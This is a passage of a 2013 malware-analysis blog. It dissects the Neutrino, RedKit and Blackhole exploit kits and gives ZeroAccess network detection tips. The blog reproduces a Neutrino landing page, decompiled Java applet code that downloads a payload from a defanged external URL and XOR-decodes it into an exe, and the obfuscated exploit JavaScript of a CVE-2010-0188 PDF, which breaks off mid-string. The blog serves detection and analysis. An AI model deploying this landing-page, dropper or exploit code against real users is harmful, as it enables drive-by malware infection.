     output += String.fromCharCode(input.charCodeAt(i) ^ pass.charCodeAt(pos));
   }
   return output;
  }

  JSON.stringify = JSON.stringify || function (obj) {
   var t = typeof (obj);
   if (t != "object" || obj === null) {
    // simple data type
    if (t == "string") obj = '"'+obj+'"';
    return String(obj);
   }
   else {
    // recurse array or object
    var n, v, json = [], arr = (obj && obj.constructor == Array);
    for (n in obj) {
     v = obj[n]; t = typeof(v);
     if (t == "string") v = '"'+v+'"';
     else if (t == "object" && v !== null) v = JSON.stringify(v);
     json.push((arr ? "" : '"' + n + '":') + String(v));
    }
    return (arr ? "[" : "{") + String(json) + (arr ? "]" : "}");
   }
  };
 </script> 
</head>
<body>
</body>
</html>




This we do recognize from the post Neutrino landing pane change or variation. The jquery and plugin_detector stuff is documented in the Neutrino landing page demystified.


3. Start the more evil stuff

The landing pane will report whats installed on your computer and will fetch javascript code to fetch exploits.




the HTTP POST request is covered in earlier posts

What do we get back:


K%05%14%0B%02%07%02W%15%0A%19%11%02%18%0C%12KP3%0A%01%17%04%1A%19%1E%06%03%5EU%7D%7F~pb~%1F%11YCP%3B%1E%1A%19%18%05%18%1F%1FW%3F%19%0D%0E%05%18%12%0DK2%0E%07%15%04%05%13%05%5EKJKW%17%0A%01%1F%10%18%1F%18%04Y%18%1B%078%16%14%0E%5EV%0Csb~%7F~pb%13%19%14%0C%06%12%18%03W%1C%05%1F%03%1CCPJ%16%09%1B%1B%13%03Y%04%15%1C%12%1A%1FJT6%1B%08Y%12%16%0DIW%17%05%1A%03%1E%12DI%1F%02%03%09QXY%1A%10%07%1C%5B%14%16%08%18%17Y%1A%04%1AY%12%08%13%05%1E%05%1E%06%1F%07%1B%09T%1F%1A%0D%0F%08%07%17JLZOOB%1B_%13%17%16%18Y%14%15%15%1B%5EEG%40L%09%13FUY%1C%1E%12%03%11VUGG%5BK%1F%13%1E%1E%03%03KUH%5BUHK%09%0A%05%17%1AY%05%16%1B%12DI%12%0E%12%1AIW%16%15%1E%12KU%18%23%25F%14%3D%04%01%3AEH%1B%151%04%0D2EO%1D%1BY2%03.KR%03%3AD%3B%03%14%3E9%03%0E%200%0E%23%3C%07%07%15K%21%1F%26E%11%5B%16%21%25%11%0F%20%02%0F%29%3F%22%0E8%3DF%2F%1D%2B.%211%11%26%1A8%1D%20%06%3EG%3A%13.D8%203%3A7JDIIJ%07%18%19%16%1BW%17%0A%1A%13J%5B%13%1C%13%0E%5BK%01%17%1B%0C%0EJT%06%12%12%02TIED%16%06%07%15%0E%03HPPP%7D%7F~pb~%0BW%1C%07%04%13W%02a~%7F~pb~%12%18%1A%1E%1A%13%19%0DE%04%1E%0D%0E_QK%1C%06%15%13%13Y%04%15%1C%12%1A%1FJT6%1B%08Y%12%16%0DIW%02%0E%09%0EJT%16%09%1B%1B%1F%14%18%1F%1E%19%19V%13Z%1C%16%0F%0AZ%17%07%09%07%12%02L%0F%0E%05%05%1E%16%05JGYOIW%17%05%1A%03%1E%12DI%1F%02%03%09QXY%1A%10%07%1C%5B%14%16%08%18%17Y%1A%04%1AY%12%08%13%05%1E%05%1E%06%1F%07%1B%09T%1F%1A%0D%0F%08%07%17JLZOOB%1B_%13%17%16%18Y%14%15%15%1B%5EEG%40L%09%13FUY%1C%1E%12%03%11VUGG%5BK%1F%13%1E%1E%03%03KUH%5BUV%12%01%0E%14KU%18%23%25F%14%3D%04%01%3AEH%1B%151%04%0D2EO%1D%1BY2%03.KR%03%3AD%3B%03%14%3E9%03%0E%200%0E%23%3C%07%07%15K%21%1F%26E%11%5B%16%21%25%11%0F%20%02%0F%29%3F%22%0E8%3DF%2F%1D%2B.%211%11%26%1A8%1D%20%06%3EG%3A%13.D8%203%3A7JDIW%0E%1C%1C%12JT%06%12%12%02TIED%12%1B%15%1C%0FIQ%5EBa~%7F~pb%0A%7C~pb~JX%0A%08%05%1F%07%0DU%7D%7F~


We need to URLDecode the answer and xor it to be able to understand what the bad guys are throwing at us. We have the XOR key from the landing.



<script language='Javascript'>

if ('Microsoft Internet Explorer' == navigator.appName) {
document.write('<applet object="Abc.dat" archive="hxxp:// milk-cocoa.com/eqxrhrgmhqlp?hlzvcpa=51895b4
daaa2ccbb52175bd0" width="10" height="10"><param name="exec" value="aHR0cDovL21pbGstY29jb2EuY29tL3BhcHNzeWFyZWpqb2JhP2h0aWRhdWtxPTUxODk1YjRkYWFhMmNj
YmI1MjE3NWJkMA=="><param name="xkey" value="qkyu"></applet>');
} else {
document.write('<embed object="Abc.dat" type="application/x-java-applet;version=1.6" archive="hxxp:/
/ milk-cocoa.com/eqxrhrgmhqlp?hlzvcpa=51895b4daaa2ccbb52175bd0" width="10" height="10" exec="aHR0cDovL21pbGstY29jb2EuY29tL3BhcHNzeWFyZWpqb2JhP2h0aWRh
dWtxPTUxODk1YjRkYWFhMmNjYmI1MjE3NWJkMA==" xkey="qkyu"></embed>');


As expected they want us to run some Java code.

4.  URL to the final payload


In the applet tag the "exec" variable has the value for the URL to the final payload/malware payload. This is base64encoded so we need to decode it:



hxxp:// milk-cocoa.com/papssyarejjoba?htidaukq=51895b4daaa2ccbb52175bd0


5. Malware


Start of the malware file:





This is, also as expected, obfuscated and  we need to go into the Java code to figure it out.

6. Java code cve


The Java Code is exploiting CVE-2013-0431 as described by Rapid7 here





7. Java code deobfuscation


First the payload url decodeing: get the parameter value of exec and base64 decode:


String str1 = getParameter("exec");
      if ((str1 == null) || (str1.length() == 0))
        System.exit(0);
      Object localObject3;
      if (!str1.startsWith("http"))
        try
        {
          BASE64Decoder localBASE64Decoder = new BASE64Decoder();
          localObject3 = localBASE64Decoder.decodeBuffer(str1);
          str1 = new String(localObject3, "UTF-8");


String:

aHR0cDovL21pbGstY29jb2EuY29tL3BhcHNzeWFyZWpqb2JhP2h0aWRhdWtxPTUxODk1YjRkYWFhMmNjYmI1MjE3NWJkMA==

Decoded: hxxp:// milk-cocoa.com/papssyarejjoba?htidaukq=51895b4daaa2ccbb52175bd0

Where is the file saved:


File localFile = File.createTempFile("~tmp", ".exe");
          FileOutputStream localFileOutputStream = new FileOutputStream(localFile);

Get the xor key and deobfuscate the downloaded file:


String str3 = getParameter("xkey");
          if ((str3 != null) && (str3.length() != 0))
          {
            byte[] arrayOfByte3 = new byte[arrayOfByte2.length];
            arrayOfByte3 = xwk(arrayOfByte2, str3.getBytes("ISO_8859_1"));
            localFileOutputStream.write(arrayOfByte3);
          }

public byte[] xwk(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2)
  {
    byte[] arrayOfByte = new byte[paramArrayOfByte1.length];
    for (int i = 0; i < paramArrayOfByte1.length; i++)
      arrayOfByte[i] = (byte)(paramArrayOfByte1[i] ^ paramArrayOfByte2[(i % paramArrayOfByte2.length)]);
    return arrayOfByte;
  }



Iterate the file downloaded, XOR with the key byte for byte and start over when reaching the end.

Python is perfect for this:


#@malforsec py script to decode Neutrino bin files
def main():
  exefile = ''
  key = 'qkyu'
  with open('neutrino.bin', 'r') as f1:
    inf = f1.read()
    for i in range (0, len(inf),1):
      exefile += chr(ord(inf[i]) ^ ord(key[i % len(key)]))
  with open('neutrino.exe', 'w') as outf:
    outf.write(exefile)

if __name__ == "__main__":
    main() 


Did we get it right:

0000000: 4d5a c290 0003 0000 0004 0000 00c3 bfc3  MZ..............
0000010: bf00 00c2 b800 0000 0000 0000 4000 0000  ............@...
0000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000030: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000040: c390 0000 000e 1fc2 ba0e 00c2 b409 c38d  ................
0000050: 21c2 b801 4cc3 8d21 5468 6973 2070 726f  !...L..!This pro
0000060: 6772 616d 2063 616e 6e6f 7420 6265 2072  gram cannot be r
0000070: 756e 2069 6e20 444f 5320 6d6f 6465 2e0d  un in DOS mode..
0000080: 0d0a 2400 0000 0000 0000 4360 c291 c2af  ..$.......C`....
0000090: 0701 c3bf c3bc 0701 c3bf c3bc 0701 c3bf  ................
00000a0: c3bc 20c3 87c2 82c3 bc06 01c3 bfc3 bc07  .. .............
00000b0: 01c3 bec3 bc6d 01c3 bfc3 bc20 c387 c284  .....m..... ....
00000c0: c3bc 0801 c3bf c3bc 20c3 87c2 85c3 bc06  ........ .......
00000d0: 01c3 bfc3 bc20 c387 c292 c3bc 1101 c3bf  ..... ..........

Oh yeah thats an exe file.


Virustotal for the exe: 2/46

Virustotal for the JAR: 2/45

8. Network detection


Lets have a look at @malwaresigs and see if we got the same. Looks like the old signature description is still valid. The HTTP POST request has changed as the "hid" aka host id variable now is incorporated in the URL Encoded part.

Looks like we can be more specific on:

*Change in patterns - spotted by @Set_Abominae 2013-05-15 - URLQuery

JARs: /(c|e)[a-z0-9]{1,11}\?(m|h)[a-z0-9]{1,12}=([a-f0-9]{24}|[a-z]{7})$

EXEs: /(d|p)[a-z0-9]{1,16}\?(m|h)[a-z0-9]{1,12}=([a-f0-9]{24}|[a-z]{7})$

landing: /(a|l)[a-z0-9]{1,16}\?(f|q)[a-z0-9]{1,12}=[0-9]{7}$

*Lets see if the change in URL patterns will continue. If so revert to signatures over @malwaresigs.


Update 2013-05-15
I have observed more patterns matching what @Set_Abominae reported yesterday.

Update 2013-07-29
The url patterns keep changing: Thanks to @urlquey and @node5 for providing samples!
JARs:/m[a-z0-9]{1,11}\?l[a-z0-9]{1,12}=([a-f0-9]{24}|[a-z]{0,9})$
EXEs: /j[a-z0-9]{1,16}\?l[a-z0-9]{1,12}=([a-f0-9]{24}|[a-z]{7})$
landing: /s[a-z0-9]{1,16}\?d[a-z0-9]{1,12}=[0-9]{7}$

Happy analyzing and detecting Neutrino Exploit Kit activity :)

Neutrino references:
@kafein over at malware.dontneedcoffee.com has good stuff on Neutrino too.

Post publish reading:
blog.unmaskparasites.com - "Rotating iframe urls - one a minute"
malwaremustdie - "Knockin' on Neutrino Exploit Kit's door.."


Thursday, May 9, 2013

RedKit payload decryption

I have got a few questions regarding decrypting RedKit payloads after I posted the RedKit analysis.

As it was not part of the analysis I thought it was no need to publish it, and I had not seen it published elsewhere. A couple of days ago I saw that the details was published over at malwageddon.blogspot.com and now it is added here.

Decypting RedKit payload files

For the sample I looked into in my previous blog the keys where in the class Mancir. This will change, so be prepared to look for the information needed, Luckily it seem RK is not changing keys that often :)




OK so we got the information needed. AES with no padding, IV bcd2... and KEY 8a61...

All we need to do now is to grab our fvourite decryption tool(openssl?) and decrypt our file.


PS: the IV and Key has changed according to the malwageddon post so verify that you got the right ones.




Happy decrypting RedKit Exploit Kit encrypted files :)


Wednesday, May 1, 2013

ZeroAccess Network detection


If you are into NIDS you probably want to look into detecting ZeroAccess traffic on your network. It is still spreading and infecting computers through exploit kits. F-Secure said it was the most profitable and fastest growing botnet of 2012. In addition, not all NIDS vendors have signatures to detect this by default configuration.

For analysis of the network traffic look at my post «ZeroAccess analysis part I – Network traffic». I have also made a python script to check if a remote host is infected – infomation about that can be found in the post «Checking ZeroAccess with Python and Scapy»

ZeroAccess is not the worst thing to get on your network, but you never know when that is going to change or what other bad stuff is on your vulnerable hosts. And, of course, we do not want these guys to earn money on our watch.

1. Detect the installation


Detecting the installation phase of the bot is nice as we can then also look into the infection mechanism and aslo see what the host was vulnerable to and fix it.
During the installation the bot talks to a set of hardcoded addresses on UDP port 123 and UDP port 53. (camouflaging as NTP and DNS). The port 53 traffic is distinctive as the UDP payload byte 8-9 are the country code after a geoIP lookup to maxmind. This is NSCount if it was DNS traffic, so by looking up country codes here we should have little chance for False Positives. One problem though the UDP payload is XORED so we need to find the corect country code.

Luckily I have made a script to generate the correct hex values:





So all we have to do then is create a signature that detects UDP port 53 traffic that has byte 8-9 set to our local country code. That should not hit performance to bad either. Alert for ZeroaAccess installation detected.


The UDP 123 traffic can be detected pretty much tha same way. UDP payload byte 0-1 will be 0x474e and the followeb by country code again. Once again XORED so we need to generate our country code:




Alert for ZeroAccess bot installation complete with UDP port 123 and the bytes given above that is correct for your environment.

That should reliably detect ZeroAccess installations.

2. Detect P2P update traffic



When the bot is up and running and want to keep its P2P list up to date it talks to ZeroAccess supernodes on UDP port 16464, 16465, 16470 or 16471. As we remember from the analysis it will be asking for P2P lists with the command getL. This is XORED with a different key but the values are static so we can simply just look for them in the packet.

Lets add that to the ports and we should be hitting bullseye with this signature as well. UDP payload byte 4-7 should look like 0x28948dab. Alert on ZeroAccess P2P activity.


That should take care of the installation part and update parts of the ZeroAccess bot.



Happy ZeroAccess detection

Tuesday, April 23, 2013

Neutrino Exploit Kit Landing pane change or variation


I picked up this today and it seem like the landing pane of Neutrino has changed. Gone is the random string generation after the prefixed h, i and p HTTP POST variables. The HTTP URL c(random string) is also hardcoded instead of random generated. The HTTP post request is also changed as there is no more h(random string). The i(random string) variable has grown beyond the previous limit of max 11 chars.

For the previous landing I have seen(reported by @kafeine and @malwaresigs) look at this post.
For a more thorough analysis look at "Neutrino Exploit Kit Analysis".

The new landing pane


<!DOCTYPE HTML>
<html>
    
    <head>
        <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script>
        <script type="text/javascript" src="scripts/js/plugin_detector.js"></script>
        <script type="text/javascript">
            $(document).ready(function () {АН
                602(
                    '517679ebaba2cc891d009dee',
                    'gbdlnep',
                    'cxiqocvbqd',
                    'pcnfjrcxxpu',
                    'ivexxbpclutvfxs');
            });

            function\ u0410\ u041d602(a, c, d, b, e) {
                a = {
                    hid: a,
                    plugins: {
                        adobe_reader: PluginDetect.getVersion("AdobeReader"),
                        java: PluginDetect.getVersion("Java"),
                        flash: PluginDetect.getVersion("Flash"),
                        quick_time: PluginDetect.getVersion("QuickTime"),
                        real_player: PluginDetect.getVersion("RealPlayer"),
                        shockwave: PluginDetect.getVersion("Shockwave"),
                        silver_light: PluginDetect.getVersion("Silverlight"),
                        vlc: PluginDetect.getVersion("VLC"),
                        wmp: PluginDetect.getVersion("WMP")
                    }
                };
                var f = {};
                f[b] = c;
                f[e] = encodeURIComponent(xor(JSON.stringify(a),
                    c));
                $.post(d, f, function (a) {
                    $("body").append(xor(decodeURIComponent(a), c))
                })
            }
            function xor(a, c) {
                for (var d = "", b = 0, e = 0, b = 0; b < a.length; b++) e = Math.floor(b % c.length), d += String.fromCharCode(a.charCodeAt(b) ^ c.charCodeAt(e));
                return d
            }
            JSON.stringify = JSON.stringify || function (a) {
                var c = typeof a;
                if ("object" != c || null === a) return "string" == c && (a = '"' + a + '"'), String(a);
                var d, b, e = [],
                    f = a && a.constructor == Array;
                for (d in a) b = a[d], c = typeof b, "string" == c ? b = '"' + b + '"' : "object" == c && null !== b && (b = JSON.stringify(b)), e.push((f ? "" : '"' + d + '":') + String(b));
                return (f ? "[" : "{") + String(e) + (f ? "]" : "}")
            };
        </script>
    </head>
    
    <body></body>

</html>


These changes gives us a new HTTP POST as well





If I'm wrong - Please correct me

Happy detecting Neutrino exploit kits :)

Thursday, April 18, 2013

Blackhole Exploit Kit - deobfuscating the CVE-2010-0188 PDF


After looking at Styx pdf for cve-2010-0188 I thought it might be fun to take a quick look at the blackhole pdf cve-2010-0188 as well. How to fetch it is explained here.
I even managed to throw in a tiny piece of Python code, so we can enjoy some wiered Monty Python reference further down :)

Here is how it goes...

1. PDF overview



Lots of streams to look into. First lets check if pdf.py can give us more info and if threre is JavaScript in there somewhere.


No luck there. probably a JavaScript in there somewhere though so lets keep on looking.
Lets try to extract the streams with pdfextract:


hmmm no such luck. 
Let's go through it piece by piece with pyew then:



So a lot of gzipped content... Lets view the streams with pdfvi


Stream no 8. Bingo this looks like something worth investigating further.

2. The JavaScript from the PDF


<template><subform name="form1"><pageSet><pageArea><contentArea h="1O.5in" w="8in" x="O.25in" y="O.25in"></contentArea><medium long="11in" short="8.5in" stock="letter"></medium></pageArea></pageSet><subform h="1O.5in" w="8in"><field h="98.425mm" name="ImageField1" w="28.575mm" x="95.25mm" y="19.O5mm"><ui><imageEdit></imageEdit></ui><event activity="initialize" xmlns:xfa="http://testset.com">
<xfa:script contentType='application/x-javascript'>
if(ImageField1.rawValue===null)p="parseIn&#116;";
pp="&#1O2;romCharCode";
a='53**^!@#**48**4P**1L**4N**^!@#**48**4B**4B**4G**^!@#**4L**4E**2M**53**^!@#**48**4P**1L**49**^!@#**49**49**27**1L**^!@#**4A**4A**4A**27**^!@#**1L**4B**4B**4B**^!@#**27**1L**4C**4C**^!@#**4C**27**1L**4D**^!@#**4D**4D**27**1L**^!@#**4E**4E**4E**27**^!@#**1L**4F**4F**4F**^!@#**2M**53**48**4P**^!@#**1L**4N**4M**4G**^!@#**4L**51**4C**4P**^!@#**5O**46**48**27**^!@#**1L**4G**2M**53**^!@#**48**4P**1L**55**^!@#**1L**2O**1L**4L**^!@#**4C**54**1L**32**^!@#**4P**4P**48**56**^!@#**23**24**2M**53**^!@#**48**4P**1L**56**^!@#**1L**2O**1L**4L**^!@#**4C**54**1L**32**^!@#**4P**4P**48**56**^!@#**23**24**2M**53**^!@#**48**4P**1L**46**^!@#**4J**2C**2O**1N**^!@#**2F**4A**2D**2B**^!@#**2H**2B**2B**4D**^!@#**2B**2G**2C**2I**^!@#**2J**2B**2F**48**^!@#**2E**4A**2D**2B**^!@#**2H**2B**2B**4D**^!@#**2B**4D**2H**2E**^!@#**2J**2B**2F**48**^!@#**48**2E**4C**49**^!@#**2J**2B**2F**48**^!@#**2E**2B**2D**2B**^!@#**2J**2D**2F**48**^!@#**2H**4C**2D**4D**^!@#**2J**2B**2F**48**^!@#**2F**2C**2F**2C**^!@#**2F**2C**2F**2C**^!@#**2D**2H**2B**2B**^!@#**2B**2B**2B**2B**^!@#**2B**2B**2B**2B**^!@#**2B**2B**2B**2B**^!@#**2B**2B**2B**2B**^!@#**2B**2B**2B**2B**^!@#**2B**2B**2B**2B**^!@#**2B**2B**2B**2B**^!@#**2C**2D**2E**2K**^!@#**2J**2B**2F**48**^!@#**2H**2F**2D**2B**^!@#**2H**2B**2B**4D**^!@#**2B**2B**2B**2F**^!@#**2B**2B**2B**2B**^!@#**2F**2C**2F**2C**^!@#**2F**2C**2F**2C**^!@#**2F**2C**2F**2C**^!@#**2F**2C**2F**2C**^!@#**1N**26**1N**2B**^!@#**2B**2B**2B**2G**^!@#**2H**2E**2H**4B**^!@#**2H**2K**2I**4B**^!@#**2E**4D**2H**2F**^!@#**2H**2E**2H**2H**^!@#**2D**2D**2H**4A**^!@#**2H**2J**2I**2E**^!@#**2H**2D**2H**4B**^!@#**2E**2F**2I**2F**^!@#**2H**2I**2H**2C**^!@#**2I**2H**2I**4C**^!@#**2H**2H**2D**2K**^!@#**2H**2C**2E**4B**^!@#**2E**2K**2H**4D**^!@#**2H**2G**2I**2E**^!@#**2I**2H**2D**4D**^!@#**2H**2C**2E**48**^!@#**2E**2C**2E**2E**^!@#**2E**48**2E**2H**^!@#**2I**2D**2E**48**^!@#**2E**4C**2H**2C**^!@#**2E**48**2E**4C**^!@#**2H**2C**2E**48**^!@#**2E**4C**2H**2C**^!@#**2E**48**2E**2E**^!@#**2E**2E**2E**48**^!@#**2E**2D**2E**2E**^!@#**2E**48**2E**4C**^!@#**2H**2C**2E**48**^!@#**2E**2I**2H**2C**^!@#**2E**4B**2E**2G**^!@#**2H**2B**2I**4D**^!@#**2H**2G**2H**2C**^!@#**2I**2G**2I**2H**^!@#**2H**4B**2H**2H**^!@#**2D**48**2H**2C**^!@#**2E**48**2E**2B**^!@#**2E**2E**2E**48**^!@#**2E**2K**2H**2C**^!@#**2E**48**2E**49**^!@#**2H**2C**2E**48**^!@#**2E**2J**2H**2C**^!@#**2E**4B**2E**2B**^!@#**2I**2E**2I**2H**^!@#**2H**4D**2E**2B**^!@#**2I**2J**2H**2B**^!@#**2I**4C**2D**2C**^!@#**2I**4D**2D**2E**^!@#**2H**2K**2E**2B**^!@#**2E**2F**2E**2K**^!@#**2E**2G**2E**2E**^!@#**2E**2D**2H**2F**^!@#**2H**2K**2E**2C**^!@#**2E**2G**2E**2E**^!@#**2E**2D**2E**2K**^!@#**2E**2C**2H**2J**^!@#**2E**2D**2H**2I**^!@#**2E**2K**2E**2F**^!@#**2H**2G**2E**2B**^!@#**2E**2E**2H**2C**^!@#**2H**2D**2E**2C**^!@#**2H**2D**2E**2C**^!@#**2H**2C**2H**2I**^!@#**2E**2D**2E**4D**^!@#**2D**2E**2H**2K**^!@#**2E**2B**2E**2F**^!@#**2E**2K**2E**2G**^!@#**2E**2E**2E**2D**^!@#**2H**2F**2H**2K**^!@#**2E**2C**2E**2G**^!@#**2E**2E**2E**2D**^!@#**2E**2K**2E**2C**^!@#**2H**2J**2E**2D**^!@#**2H**2I**2E**2K**^!@#**2E**2F**2H**2G**^!@#**2E**2B**2E**2E**^!@#**2H**2C**2H**2D**^!@#**2E**2C**2H**2D**^!@#**2E**2C**2H**2C**^!@#**2H**2I**2E**2D**^!@#**2E**4D**2D**2F**^!@#**2E**2G**2E**4C**^!@#**2D**2G**2E**2H**^!@#**2E**4C**2D**2C**^!@#**2E**2D**2E**2C**^!@#**2E**4C**2D**2K**^!@#**2E**2D**2E**2C**^!@#**2E**4D**2D**4D**^!@#**2D**48**2E**2B**^!@#**2I**2F**2I**2F**^!@#**2I**2J**2H**2B**^!@#**2I**4D**2D**48**^!@#**2C**2H**2E**2K**^!@#**2I**2H**2F**2H**^!@#**4A**49**2C**49**^!@#**2G**48**2J**48**^!@#**4A**2E**2E**4B**^!@#**49**2C**2B**4D**^!@#**2H**2K**2J**4C**^!@#**2B**48**2J**4C**^!@#**4D**2J**2K**4A**^!@#**4C**4C**2B**4C**^!@#**2F**4C**2J**4D**^!@#**4D**4D**4D**4C**^!@#**4D**4A**2K**2J**^!@#**4C**2J**2B**2H**^!@#**2G**4D**4D**4C**^!@#**4D**48**2H**2B**^!@#**2B**48**2H**2F**^!@#**4A**2G**2I**2B**^!@#**2B**4D**2E**2B**^!@#**2J**2I**2F**48**^!@#**4D**2G**2I**2B**^!@#**2B**4D**2E**2B**^!@#**2J**2I**2F**2E**^!@#**2C**49**4C**2D**^!@#**2B**49**4C**4A**^!@#**2B**2E**4A**2E**^!@#**2J**2F**2B**2H**^!@#**2G**4D**4D**2E**^!@#**2G**4A**2B**49**^!@#**4C**2E**2J**2B**^!@#**2B**48**2H**2F**^!@#**2B**2H**2G**4D**^!@#**4D**2E**2G**2B**^!@#**2B**48**2H**2H**^!@#**2C**2G**2I**2B**^!@#**4A**2G**2J**2F**^!@#**2C**2H**2G**4D**^!@#**4D**2B**2B**48**^!@#**2H**2I**2G**2E**^!@#**2G**2B**2B**48**^!@#**2H**2B**2B**48**^!@#**2H**2C**2G**2C**^!@#**2F**2F**2B**4B**^!@#**2C**2F**2F**2J**^!@#**2J**2B**2E**2F**^!@#**2B**2C**4A**48**^!@#**2J**2K**2G**2B**^!@#**2B**2K**2B**4B**^!@#**2C**2F**2F**2H**^!@#**4A**4A**2H**4A**^!@#**2H**2F**2H**4C**^!@#**2D**2G**2B**4B**^!@#**2C**2F**2F**2I**^!@#**4A**2F**2I**2D**^!@#**2H**2B**2I**2I**^!@#**2I**2B**2B**4B**^!@#**2C**2F**2F**2I**^!@#**4A**2C**2G**2K**^!@#**4A**2E**2E**2J**^!@#**4C**49**2J**4A**^!@#**2B**2H**2G**4D**^!@#**4D**2B**2B**2B**^!@#**2B**2B**2B**2J**^!@#**4D**2J**2H**2E**^!@#**2G**2B**2D**2E**^!@#**2I**4B**2D**2B**^!@#**2D**2J**2B**2F**^!@#**2D**2F**2F**2I**^!@#**4A**2D**2E**2E**^!@#**2E**2D**2I**2H**^!@#**2I**2F**2B**2F**^!@#**2D**2F**2F**2I**^!@#**4A**2E**2I**2I**^!@#**2H**2G**2H**2D**^!@#**2I**2F**2D**2F**^!@#**2B**2I**4A**4A**^!@#**2B**2F**2D**4A**^!@#**2G**4B**2J**2B**^!@#**2B**2B**2B**2C**^!@#**2B**2F**2B**4A**^!@#**4C**2C**2J**2D**^!@#**2I**49**4C**2D**^!@#**2B**49**4C**4D**^!@#**4D**4D**4D**4D**^!@#**4D**2C**2H**2J**^!@#**4C**2J**4C**49**^!@#**2J**2J**2B**2F**^!@#**4A**2E**2J**2H**^!@#**2C**4D**4D**2F**^!@#**2G**4B**2H**4A**^!@#**2H**2D**2I**2G**^!@#**2I**2J**2H**2B**^!@#**2B**2B**2B**4C**^!@#**2H**4D**2H**2J**^!@#**2H**2E**4C**4D**^!@#**4D**2G**2B**2E**^!@#**4A**2E**2J**2B**^!@#**2C**4C**2G**49**^!@#**2J**4A**4C**49**^!@#**2J**2G**2G**2B**^!@#**2G**2K**2C**2B**^!@#**4A**2E**2J**2B**^!@#**2G**2B**2B**2B**^!@#**2B**2B**2B**4D**^!@#**4D**2J**2H**2B**^!@#**2F**48**2H**2B**^!@#**2G**2J**2G**2B**^!@#**2B**2B**2B**2B**^!@#**2B**2B**2B**2J**^!@#**4C**2K**4D**2D**^!@#**4C**4D**4D**4D**^!@#**4D**4D**4D**2J**^!@#**2K**2J**4C**2K**^!@#**2G**2G**2B**48**^!@#**2H**2I**4D**49**^!@#**2J**2J**2B**2J**^!@#**2H**49**2J**2E**^!@#**4D**49**4C**2H**^!@#**2K**2E**2B**2F**^!@#**2I**2E**2E**4A**^!@#**2B**4B**2I**2B**^!@#**2J**2B**2D**2J**^!@#**2H**49**2J**4B**^!@#**48**2E**2G**49**^!@#**4C**2E**4A**2K**^!@#**2G**4C**2G**49**^!@#**48**2G**4A**2E**^!@#**2B**49**2J**2F**^!@#**2B**49**2J**4B**^!@#**4B**2E**2B**2J**^!@#**4B**49**2J**4A**^!@#**2B**2F**2D**2F**^!@#**2G**4D**4D**4A**^!@#**4C**2H**2F**4B**^!@#**2J**49**2F**4A**^!@#**2B**49**2J**2H**^!@#**2H**4B**4B**2E**^!@#**2B**2F**2D**4C**^!@#**2G**49**2J**4C**^!@#**2G**2H**4C**2G**^!@#**2I**4D**2C**49**^!@#**2E**2C**4D**49**^!@#**4C**2B**2F**48**^!@#**4B**2E**2B**4B**^!@#**2B**49**4A**2C**^!@#**4A**2J**2B**2F**^!@#**2I**2D**4D**2J**^!@#**2E**2B**2C**4C**^!@#**49**4D**2B**49**^!@#**4B**2E**2E**2G**^!@#**4A**2E**2B**4B**^!@#**48**4A**4D**2C**^!@#**2F**2K**2F**2K**^!@#**4A**2E**2E**2G**^!@#**4D**2E**2B**2B**^!@#**2D**2H**2I**49**^!@#**2J**2H**2G**2G**^!@#**4D**2E**2B**2J**^!@#**2I**2G**2E**2F**^!@#**2I**49**2J**4A**^!@#**2E**2G**2I**49**^!@#**2J**2H**2G**2C**^!@#**2G**4A**2F**49**^!@#**4C**2K**4C**2C**^!@#**2G**2G**2I**2F**^!@#**4C**2G**2J**2F**^!@#**2D**2F**2E**2I**^!@#**2J**49**4D**2G**^!@#**2I**2H**2B**2K**^!@#**2E**2H**2F**2E**^!@#**4A**2B**2E**2B**^!@#**2F**49**2J**2J**^!@#**49**4D**4D**4D**^!@#**4D**2B**2C**2G**^!@#**2C**4C**4C**2C**^!@#**2J**4A**2D**2E**^!@#**2E**2F**2I**2E**^!@#**2B**4A**2E**4C**^!@#**2G**49**2J**2H**^!@#**2H**49**4B**2E**^!@#**2E**2J**2B**2H**^!@#**2I**49**2J**2H**^!@#**2G**4A**2C**2B**^!@#**2I**49**2J**4A**^!@#**2B**2B**2F**49**^!@#**2J**2B**2E**2B**^!@#**2F**49**2J**2F**^!@#**2H**2B**4A**2E**^!@#**2E**4D**2G**2K**^!@#**4C**2F**2E**2G**^!@#**2I**2F**4C**2G**^!@#**2J**4A**4D**4A**^!@#**4D**2F**4C**2E**^!@#**2J**2H**2H**1N**^!@#**29**5O**4N**4J**^!@#**4G**51**23**22**^!@#**22**24**29**4P**^!@#**4C**53**4C**4P**^!@#**5O**4C**23**24**^!@#**29**4H**4M**4G**^!@#**4L**23**22**22**^!@#**24**29**4P**4C**^!@#**4N**4J**48**4A**^!@#**4C**23**2A**2M**^!@#**2A**4E**27**22**^!@#**22**24**2M**53**^!@#**48**4P**1L**46**^!@#**4J**2D**2O**1N**^!@#**2F**4A**2D**2B**^!@#**2H**2B**2B**4D**^!@#**48**2G**2H**2E**^!@#**2J**2B**2F**48**^!@#**2E**4A**2D**2B**^!@#**2H**2B**2B**4D**^!@#**2K**2H**2D**2C**^!@#**2J**2B**2F**48**^!@#**2K**2B**2C**4D**^!@#**2J**2B**2F**48**^!@#**2E**2B**2K**2B**^!@#**2J**2F**2F**48**^!@#**2I**4B**2I**4C**^!@#**2J**2B**2F**48**^!@#**2F**2C**2F**2C**^!@#**2F**2C**2F**2C**^!@#**2D**2H**2B**2B**^!@#**2B**2B**2B**2B**^!@#**2B**2B**2B**2B**^!@#**2B**2B**2B**2B**^!@#**2B**2B**2B**2B**^!@#**2B**2B**2B**2B**^!@#**2B**2B**2B**2B**^!@#**2B**2B**2B**2B**^!@#**2I**2C**2J**2J**^!@#**2J**2B**2F**48**^!@#**2H**2F**2D**2B**^!@#**2H**2B**2B**4D**^!@#**2B**2B**2B**2F**^!@#**2B**2B**2B**2B**^!@#**2F**2C**2F**2C**^!@#**2F**2C**2F**2C**^!@#**2F**2C**2F**2C**^!@#**2F**2C**2F**2C**^!@#**1N**26**1N**2B**^!@#**2B**2B**2B**2G**^!@#**2H**2E**2H**4B**^!@#**2H**2K**2I**4B**^!@#**2E**4D**2H**2F**^!@#**2H**2E**2H**2H**^!@#**2D**2D**2H**4A**^!@#**2H**2J**2I**2E**^!@#**2H**2D**2H**4B**^!@#**2E**2F**2I**2F**^!@#**2H**2I**2H**2C**^!@#**2I**2H**2I**4C**^!@#**2H**2H**2D**2K**^!@#**2H**2C**2E**4B**^!@#**2E**2K**2H**4D**^!@#**2H**2G**2I**2E**^!@#**2I**2